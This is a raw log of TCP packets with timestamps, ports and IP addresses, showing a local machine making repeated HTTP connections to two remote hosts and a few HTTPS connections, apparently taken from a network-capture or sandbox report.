Jul 4, 2024 22:21:10.250118017 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250128984 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250138044 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250138998 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250150919 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250161886 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250163078 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250174046 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250174999 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250185966 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250205040 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250228882 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250535965 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250579119 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250585079 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250592947 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250603914 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250616074 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250617027 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250627995 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250647068 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250659943 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250767946 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250778913 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250787973 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250797987 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250808954 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250811100 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250838995 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250850916 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.271409035 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271445036 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271454096 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271580935 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.271580935 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.271611929 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271656990 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.271657944 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271671057 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271737099 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.271796942 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271806955 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271821022 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271831989 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271842957 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.271856070 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.271879911 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.271941900 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271953106 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271960974 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.271972895 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.272027016 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.272039890 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310177088 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310237885 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310271025 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310309887 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310349941 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310349941 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310349941 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310362101 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310394049 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310395956 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310414076 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310440063 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310445070 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310482979 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310488939 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310519934 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310519934 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310564995 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310576916 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310606956 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310617924 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310627937 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310627937 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310638905 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310643911 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310650110 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310663939 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310703993 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310746908 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310758114 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310795069 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310834885 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310846090 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310857058 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310879946 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310911894 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.310980082 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.310991049 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311001062 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311012030 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311031103 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311054945 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311129093 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311146975 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311158895 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311168909 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311170101 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311184883 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311199903 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311228991 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311372995 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311383963 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311393976 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311403990 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311415911 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311419010 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311429024 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311439991 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311441898 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311453104 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311661959 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311671019 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311681032 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311686993 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311691999 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311703920 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311706066 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311716080 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311726093 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311727047 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.311747074 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.311774969 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.338613033 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.338624954 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.338635921 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.338716984 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.338726997 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.338737011 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.338747978 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.338778973 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.338778973 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.338778973 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.338778973 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.338799000 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.338987112 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339034081 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.339056969 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339067936 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339097977 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.339147091 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339159966 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339169979 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339185953 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.339215040 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.339286089 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339297056 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339303017 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339308023 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339338064 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.339364052 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.339437962 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339451075 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339462042 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339472055 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339483023 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339490891 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.339523077 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.339586973 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339596987 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.339634895 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:11.052464008 CEST	49721	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:11.052809954 CEST	49723	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:11.057784081 CEST	80	49721	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:11.057840109 CEST	49721	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:11.057917118 CEST	80	49723	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:11.057976007 CEST	49723	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:11.059998035 CEST	49723	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:11.064747095 CEST	80	49723	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:11.797671080 CEST	80	49723	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:11.797753096 CEST	49723	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:12.090709925 CEST	49723	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:12.091150999 CEST	49724	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:12.096129894 CEST	80	49724	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:12.096148968 CEST	80	49723	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:12.096234083 CEST	49724	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:12.096261024 CEST	49723	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:12.154881001 CEST	49724	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:12.159828901 CEST	80	49724	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:12.418633938 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:12.418641090 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:12.418740034 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:12.419234991 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:12.419250965 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:12.822223902 CEST	80	49724	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:12.822351933 CEST	49724	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:12.823034048 CEST	49724	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:12.827935934 CEST	80	49724	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:13.047147989 CEST	80	49724	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:13.047269106 CEST	49724	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:13.158895016 CEST	49724	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:13.159216881 CEST	49729	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:13.165479898 CEST	80	49729	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:13.165714979 CEST	80	49724	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:13.165792942 CEST	49724	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:13.165818930 CEST	49729	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:13.165992022 CEST	49729	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:13.172117949 CEST	80	49729	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:13.177858114 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:13.178320885 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:13.178328991 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:13.179078102 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:13.179145098 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:13.180182934 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:13.180226088 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:13.181854010 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:13.182079077 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:13.182195902 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:13.182202101 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:13.235007048 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:13.488004923 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:13.488070965 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:13.488130093 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:13.488137960 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:13.488292933 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:13.490108967 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:13.490319967 CEST	49728	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:13.490331888 CEST	443	49728	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:13.874470949 CEST	80	49729	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:13.874579906 CEST	49729	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:13.875559092 CEST	49729	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:13.880438089 CEST	80	49729	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:14.100945950 CEST	80	49729	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:14.102143049 CEST	49729	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:14.210218906 CEST	49729	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:14.210494041 CEST	49731	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:14.215257883 CEST	80	49731	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:14.215325117 CEST	49731	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:14.215585947 CEST	80	49729	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:14.215651035 CEST	49729	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:14.220344067 CEST	49731	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:14.225130081 CEST	80	49731	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:14.928220987 CEST	80	49731	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:14.928432941 CEST	49731	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:14.931268930 CEST	49731	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:14.936052084 CEST	80	49731	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:15.156418085 CEST	80	49731	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:15.156478882 CEST	49731	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:15.270618916 CEST	49731	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:15.270919085 CEST	49733	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:15.275686979 CEST	80	49733	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:15.275772095 CEST	49733	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:15.275959015 CEST	49733	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:15.276139021 CEST	80	49731	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:15.276194096 CEST	49731	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:15.281836987 CEST	80	49733	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:15.985096931 CEST	80	49733	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:15.985816002 CEST	49733	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:15.986630917 CEST	49733	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:15.991413116 CEST	80	49733	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:16.211882114 CEST	80	49733	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:16.211939096 CEST	49733	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:16.318696022 CEST	49733	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:16.324672937 CEST	80	49733	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:16.324768066 CEST	49733	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:16.324965000 CEST	49736	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:16.329797983 CEST	80	49736	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:16.329883099 CEST	49736	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:16.335838079 CEST	49736	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:16.344131947 CEST	80	49736	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:16.633939981 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:16.633972883 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:16.634027004 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:16.634218931 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:16.634231091 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:17.055696011 CEST	80	49736	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:17.055759907 CEST	49736	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:17.056590080 CEST	49736	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:17.061781883 CEST	80	49736	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:17.281816959 CEST	80	49736	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:17.281878948 CEST	49736	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:17.301480055 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:17.301712990 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:17.301732063 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:17.302707911 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:17.302817106 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:17.303774118 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:17.303834915 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:17.358958006 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:17.358978033 CEST	443	49738	172.217.16.196	192.168.2.5
Jul 4, 2024 22:21:17.388246059 CEST	49736	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:17.388786077 CEST	49742	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:17.393862009 CEST	80	49742	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:17.393943071 CEST	49742	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:17.394377947 CEST	49742	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:17.394769907 CEST	80	49736	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:17.394814014 CEST	49736	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:17.400155067 CEST	80	49742	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:17.402478933 CEST	49738	443	192.168.2.5	172.217.16.196
Jul 4, 2024 22:21:17.494908094 CEST	49703	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:17.494944096 CEST	443	49703	23.1.237.91	192.168.2.5
Jul 4, 2024 22:21:17.495682001 CEST	49743	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:17.495711088 CEST	443	49743	23.1.237.91	192.168.2.5
Jul 4, 2024 22:21:17.495771885 CEST	49743	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:17.496216059 CEST	49743	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:17.496229887 CEST	443	49743	23.1.237.91	192.168.2.5
Jul 4, 2024 22:21:18.101160049 CEST	443	49743	23.1.237.91	192.168.2.5
Jul 4, 2024 22:21:18.101227999 CEST	49743	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:18.115781069 CEST	80	49742	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:18.115850925 CEST	49742	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:18.116450071 CEST	49742	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:18.121170044 CEST	80	49742	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:18.128426075 CEST	49743	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:18.128442049 CEST	443	49743	23.1.237.91	192.168.2.5
Jul 4, 2024 22:21:18.128792048 CEST	443	49743	23.1.237.91	192.168.2.5
Jul 4, 2024 22:21:18.130131006 CEST	49743	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:18.145797014 CEST	49743	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:18.145833015 CEST	443	49743	23.1.237.91	192.168.2.5
Jul 4, 2024 22:21:18.147381067 CEST	49743	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:18.147388935 CEST	443	49743	23.1.237.91	192.168.2.5
Jul 4, 2024 22:21:18.337444067 CEST	80	49742	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:18.337521076 CEST	49742	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:18.412244081 CEST	443	49743	23.1.237.91	192.168.2.5
Jul 4, 2024 22:21:18.412307978 CEST	443	49743	23.1.237.91	192.168.2.5
Jul 4, 2024 22:21:18.412332058 CEST	49743	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:18.412420034 CEST	49743	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:18.450620890 CEST	49742	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:18.451605082 CEST	49748	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:18.455773115 CEST	80	49742	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:18.455835104 CEST	49742	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:18.457036018 CEST	80	49748	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:18.457117081 CEST	49748	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:18.457281113 CEST	49748	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:18.462084055 CEST	80	49748	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:19.200321913 CEST	80	49748	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:19.200469017 CEST	49748	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:19.201423883 CEST	49748	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:19.206335068 CEST	80	49748	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:19.430984974 CEST	80	49748	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:19.431039095 CEST	49748	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:19.538944960 CEST	49748	80	192.168.2.5	77.91.77.82
